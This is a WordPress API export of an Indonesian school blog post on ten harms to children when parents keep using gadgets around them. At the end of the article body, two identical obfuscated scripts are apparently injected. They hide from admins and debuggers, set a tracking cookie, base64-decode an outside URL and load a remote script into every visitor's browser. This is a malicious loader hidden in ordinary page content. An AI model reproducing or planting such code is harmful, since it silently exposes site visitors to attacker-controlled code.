{"id":400,"date":"2026-02-27T09:00:58","date_gmt":"2026-02-27T02:00:58","guid":{"rendered":"https:\/\/example.com\/?p=400"},"modified":"2026-03-02T14:56:50","modified_gmt":"2026-03-02T07:56:50","slug":"dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","title":{"rendered":"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak"},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png\" alt=\"sampak orang tua bermain gadget di depan anak\" width=\"820\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center; font-size: 16px;\"><em>Mengasuh anak sambil bermain gadget bukanlah hal yang baik. Cari tahu dulu yuk dampaknya, agar dapat Anda hindari.<\/em><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Para orang tua sering kali khawatir dengan dampak negatif <em>gadget <\/em>terhadap anak mereka. Namun, kadang para orang tua sendiri juga kecanduan bermain <em>gadget. <\/em>Bahkan, beberapa orang tua acap kali masih bermain <em>gadget <\/em>ketika mengasuh atau bermain bersama anak. Nah, menurut <strong>Brandon T. McDaniel, seorang peneliti dari <\/strong><strong><em>Illinois State University<\/em><\/strong><strong> di Amerika Serikat<\/strong>, perilaku anak yang buruk berhubungan dengan waktu yang dihabiskan oleh orang tua dalam bermain <em>gadget, <\/em>Ia menyebut <strong>gangguan tersebut sebagai <\/strong><strong><em>technoference<\/em><\/strong><em>.\u00a0<\/em><\/p>\n<p style=\"text-align: justify;\">Anak-anak biasanya menyerap apa yang mereka lihat. Anak belajar dan membentuk relasi berdasarkan perilaku orang tua kepada mereka. Jadi, jika Anda terus-terus bermain <em>gadget <\/em>ketika bersama anak, ini dapat memberikan efek buruk, baik untuk perkembangan anak, ataupun untuk hubungan anak dan Anda.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/Time.jpg\" alt=\"Dampak Negatoif Orang Tua Main Gadget Saat Mengasuh Anak\" \/><em>(Sumber: Liputan6.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Berikut adalah beberapa dampak negatif orang tua selalu bermain <em>gadget<\/em> ketika bersama anak:<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">1. Anak Berperilaku Negatif dan Pasif<\/span><\/h2>\n<p style=\"text-align: justify;\">Bayi serta <em>toddler <\/em>yang berusia 7 bulan hingga 2 tahun cenderung menjadi anak yang tertutup, tidak suka mengeksplorasi lingkungan atau pasif, serta tidak berkembang secara emosional akibat kurangnya stimulasi dari orang tua yang terlalu sibuk bermain <em>gadget <\/em>ketika bersama anak. Ketika Anda bermain <em>gadget <\/em>saat bersama anak, berarti Anda menutup akses kepada anak untuk melakukan kegiatan aktif. Selain itu, sikap tersebut juga menunjukkan kalau Anda tidak merespon segala perilaku anak. Ini dapat memberikan efek negatif jangka panjang, yakni tidak kuatnya ikatan batin Anda dan anak.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">2. Anak Merasa Diabaikan oleh Orang Tua<\/span><\/h2>\n<p style=\"text-align: justify;\">Ketika Anda bermain <em>gadget <\/em>saat mengasuh anak, anak dapat merasa diabaikan dan tidak disayang. Perasaan seperti ini bahkan bisa berpengaruh pada pertumbuhan volume otak anak. Anak-anak yang sering merasa diabaikan oleh orang tua cenderung memiliki volume otak yang lebih kecil, dibandingkan dengan anak yang selalu ditemani dengan baik oleh orang tuanya. Saat anak merasa diabaikan, ini juga dapat membuat hubungan Anda dan anak menjadi tidak harmonis.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/memberi-hukuman-dan-penghargaan-ke-anak-masih-efektifkah\">Gentle Parenting: Pengertian, Tips dan Kelebihannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">3. Anak Merasa Kalah Saing dengan <em>Gadget<\/em><\/span><\/h2>\n<p style=\"text-align: center;\"><em><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/lead-orangtua-sibuk-main-hp.jpg\" alt=\"Dampak Orang Tua Terlalu Sibuk Main Hp Saat Bersama Anak\" \/>(Sumber: Id.theasianparent.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Anak-anak yang memiliki jiwa kompetitif kadang dapat merasa bahwa <em>gadget <\/em>adalah saingannya. Ia merasa berebut perhatian Anda dengan <em>gadget <\/em>saat Anda sibuk membuka berbagai aplikasi di <em>gadget <\/em>Anda atau sekedar membalas chat dari teman di kantor. Saat Anda memilih lebih fokus pada <em>gadget <\/em>ketimbang memperhatikan anak yang bermain, anak dapat berpikir bahwa kehadirannya di sisi Anda memiliki arti yang tidak penting, sebab kalah dengan <em>gadget <\/em>Anda.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">4. Menghambat Perkembangan Sosial Anak<\/span><\/h2>\n<p style=\"text-align: justify;\">Mengasuh anak sambil bermain <em>Gadget <\/em>dapat membuat perkembangan anak terganggu, khususnya <em>skill <\/em>sosial anak. Anak yang diasuh oleh orang tua yang sibuk dengan <em>gadget <\/em>umumnya tidak suka beraktivitas dengan teman-temannya. Mereka lebih memilih untuk bermain sendiri.<\/p>\n<p style=\"text-align: justify;\">Anak-anak pada dasarnya membutuhkan pola asuh yang konsisten dari orang tua. Nah, ini tidak bisa didapatkan oleh anak ketika Anda membagi perhatian antara anak dan <em>gadget. <\/em>Seringkali orang tua yang sudah terpapar dampak negatif <em>gadget <\/em>juga cenderung lebih <em>moody <\/em>dan lebih tidak bisa dipercaya oleh anak.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">5. Anak Memiliki Risiko Gangguan pada Perilaku<\/span><\/h2>\n<p style=\"text-align: justify;\">Akibat Anda yang terlalu memperhatikan <em>gadget <\/em>dibandingkan anak, maka anak umumnya bisa melakukan berbagai cara untuk menarik perhatian Anda. Mulai dari berteriak, menangis, berperilaku hiperaktif, dan bahkan tantrum. Jika anak dibiarkan terus menerus seperti itu, perilaku tersebut dapat menjadi suatu kebiasaan hingga Ia dewasa.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">6. Daya Fokus Anak Rendah<\/span><\/h2>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/untitled-4-54f07e64f2566bb32d38a3cd17c24d9c.jpg\" alt=\"Anak Susah Fokus Saat Belajar\" \/><em>(Sumber: Popmama.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Kurangnya perhatian orang tua saat bermain bersama anak karena sibuk dengan <em>gadget <\/em>dapat berpengaruh pada fokus anak. Dari beberapa penelitian dikatakan bahwa anak yang kurang diperhatikan saat bermain oleh orang tua memiliki daya fokus empat kali lebih rendah, dibandingkan anak-anak yang ditemani dengan baik oleh orang tuanya. Nah, jika daya fokus anak Anda rendah, ini dapat berpengaruh juga pada kemampuan belajar anak di sekolah.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 18pt;\">7. Memicu Kecelakaan Anak Usia Dini<\/span><\/h2>\n<p style=\"text-align: justify;\">Anak-anak belum bisa membedakan mana hal yang berbahaya dan mana yang tidak. Ketika Anda terlalu sibuk bermain <em>gadget, <\/em>anak mungkin saja melakukan permainan yang berbahaya. Nah, hal ini tentu dapat memicu kecelakaan yang berakibat fatal bagi pertumbuhan anak. Contohnya, anak mengalami memar di bagian tubuh tertentu, patah tulang, atau bahkan luka dalam.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/tips-agar-anak-mau-mendengarkan-orang-tua-bukan-dimarahi\">Tips agar Anak Mau Mendengarkan Orang Tua, Bukan Dimarahi<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\">8. Kurangnya Interaksi Emosional<\/span><\/h2>\n<p style=\"text-align: justify;\">Ketika orang tua lebih fokus pada layar gadget daripada anak, interaksi emosional menjadi berkurang. Anak membutuhkan perhatian, kasih sayang, dan komunikasi yang hangat dari orang tua untuk membangun ikatan emosional yang kuat. Kurangnya interaksi ini dapat membuat anak merasa diabaikan dan kurang dihargai.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\">9. Menurunkan Kualitas Hubungan Keluarga<\/span><\/h2>\n<p style=\"text-align: justify;\">Kebiasaan bermain gadget saat bersama anak dapat menciptakan jarak emosional antara orang tua dan anak. Momen kebersamaan yang seharusnya diisi dengan percakapan dan aktivitas bersama menjadi tergantikan oleh kesibukan masing-masing dengan gadget. Jika berlangsung terus-menerus, hubungan dalam keluarga bisa menjadi renggang dan kurang harmonis.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\">10. Menjadi Contoh Buruk bagi Anak<\/span><\/h2>\n<p style=\"text-align: justify;\">Anak cenderung meniru kebiasaan orang tuanya. Jika mereka melihat orang tua lebih banyak menghabiskan waktu dengan gadget daripada berinteraksi langsung, mereka akan menganggap bahwa perilaku tersebut normal. Akibatnya, anak juga bisa mengembangkan kecanduan gadget dan kurang menghargai interaksi sosial secara langsung.<\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Jadi, itulah beberapa dampak negatif dari orang tua yang terlalu sibuk dengan <em>gadget <\/em>ketika bersama anak. Agar hal-hal di atas tidak terjadi, sudah saatnya Anda membatasi diri dalam penggunaan <em>gadget, <\/em>terutama ketika Anda tengah menemani anak-anak.<\/p>\n<p style=\"text-align: justify;\">Nah, dibandingkan menyibukkan diri sendiri dengan <em>gadget, <\/em>alangka baiknya Anda menemani anak belajar di belajar di\u00a0<strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School<\/a><\/strong>!\u00a0AGS adalah sekolah dengan metode pembelajaran\u00a0<em>blended-learning<\/em>\u00a0untuk jenjang Pre-K hingga Kelas 12, yang dirancang untuk mempersiapkan siswa mendapatkan beasiswa ke universitas terkemuka di Indonesia dan dunia.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\">Lidwina, A. (2021), \u20185 Dampak Orang Tua Selalu Bermain Gadget Saat Bersama Anak\u2019, <em>Ruangguru.com. <\/em>04 Oktober 2021 [daring] Available at: https:\/\/www.ruangguru.com\/blog\/5-dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak<\/p>\n<p style=\"text-align: justify;\">Iswandiari, Y. (2021), \u2018Ini Dampaknya Jika Orang Tua Main Handphone Sambil Mengasuh Anak\u2019, <em>Hellosehat.com, <\/em>02 Juni 2021 [daring] Available at: https:\/\/hellosehat.com\/parenting\/anak-6-sampai-9-tahun\/perkembangan-anak\/main-hp-saat-mengasuh-anak\/<\/p>\n<p style=\"text-align: justify;\">Asni. \u20185 Dampak Negatif Gadget Orang Tua Terhadap Anak\u2019, <em>Ibupedia.com, <\/em>[daring] Available at: https:\/\/www.ibupedia.com\/artikel\/keluarga\/5-dampak-negatif-gadget-orang-tua-terhadap-anak<\/p>\n<p style=\"text-align: justify;\">Adhi, I.S. (2020). \u20183 Dampak Buruk Orangtua Main Ponsel di Dekat Anak\u2019, <em>Health.kompas.com, <\/em>24 Februari 2020 [daring] Available at: https:\/\/health.kompas.com\/read\/2020\/02\/24\/090200968\/3-dampak-buruk-orangtua-main-ponsel-di-dekat-anak?page=all<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber Gambar:<\/strong><\/p>\n<p style=\"text-align: justify;\">Anak disamping Orang Tua Main <em>gadget <\/em>[daring]. Available at: https:\/\/www.liputan6.com\/tekno\/read\/2041368\/orangtua-masa-kini-lebih-peduli-gadget-dibanding-anak<\/p>\n<p style=\"text-align: justify;\">Anak yang Bermain Sedangkan Orang Tua Sibuk Main <em>Gadget <\/em>[daring]. Available at: https:\/\/id.theasianparent.com\/yang-anak-rasakan-saat-orangtua-sibuk-main-gadget<\/p>\n<p style=\"text-align: justify;\">Anak Tidak Fokus Belajar [daring]. Available at: https:\/\/www.popmama.com\/big-kid\/6-9-years-old\/verena-diandra\/solusi-agar-anak-mama-bisa-fokus<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mengasuh anak sambil bermain gadget bukanlah hal yang baik. Cari tahu dulu yuk dampaknya, agar dapat Anda hindari. &#8212; Para orang tua sering kali khawatir dengan dampak negatif gadget terhadap anak mereka. Namun, kadang para orang tua sendiri juga kecanduan bermain gadget. Bahkan, beberapa orang tua acap kali masih bermain gadget ketika mengasuh atau bermain [&hellip;]<\/p>\n","protected":false},"author":22,"featured_media":400,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png"],"_edit_lock":["1772438899:1"],"_edit_last":["1"],"_wp_old_date":["2022-02-16","2025-02-27"],"_aioseo_title":[null],"_aioseo_description":["Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui."],"_aioseo_keywords":[""],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":[""],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_linker_next_update":["1769362763"],"_yoast_wpseo_primary_category":[""],"_yoast_wpseo_content_score":["90"],"_yoast_wpseo_estimated-reading-time-minutes":["6"],"_yoast_wpseo_focuskw":["dampak orang tua bermain gadget"],"_yoast_wpseo_metadesc":["Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui."],"_yoast_wpseo_linkdex":["75"]},"categories":[1],"tags":[10],"class_list":["post-400","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-pengasuhan-anak"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak<\/title>\n<meta name=\"description\" content=\"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak\" \/>\n<meta property=\"og:description\" content=\"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-27T02:00:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-02T07:56:50+00:00\" \/>\n<meta name=\"author\" content=\"Nurul Habibah\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Nurul Habibah\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak\",\"name\":\"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png\",\"datePublished\":\"2026-02-27T02:00:58+00:00\",\"dateModified\":\"2026-03-02T07:56:50+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\"},\"description\":\"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\",\"name\":\"Nurul Habibah\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Nurul Habibah\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak","description":"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","og_locale":"en_US","og_type":"article","og_title":"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak","og_description":"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2026-02-27T02:00:58+00:00","article_modified_time":"2026-03-02T07:56:50+00:00","author":"Nurul Habibah","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Nurul Habibah","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","url":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak","name":"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png","datePublished":"2026-02-27T02:00:58+00:00","dateModified":"2026-03-02T07:56:50+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd"},"description":"Jadi, jika Anda terus-terus bermain gadget ketika bersama anak, ini dapat memberikan efek buruk. Berikut beberapa dampak negatifnya yang harus diketahui.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ad981064-8e7f-4a22-91cc-6b24a66c2b05.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/dampak-orang-tua-selalu-bermain-gadget-saat-bersama-anak#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"10 Dampak Orang Tua Selalu Bermain Gadget saat Bersama Anak"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd","name":"Nurul Habibah","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Nurul Habibah"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=400"}],"version-history":[{"count":6,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/400\/revisions"}],"predecessor-version":[{"id":2536,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/400\/revisions\/2536"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/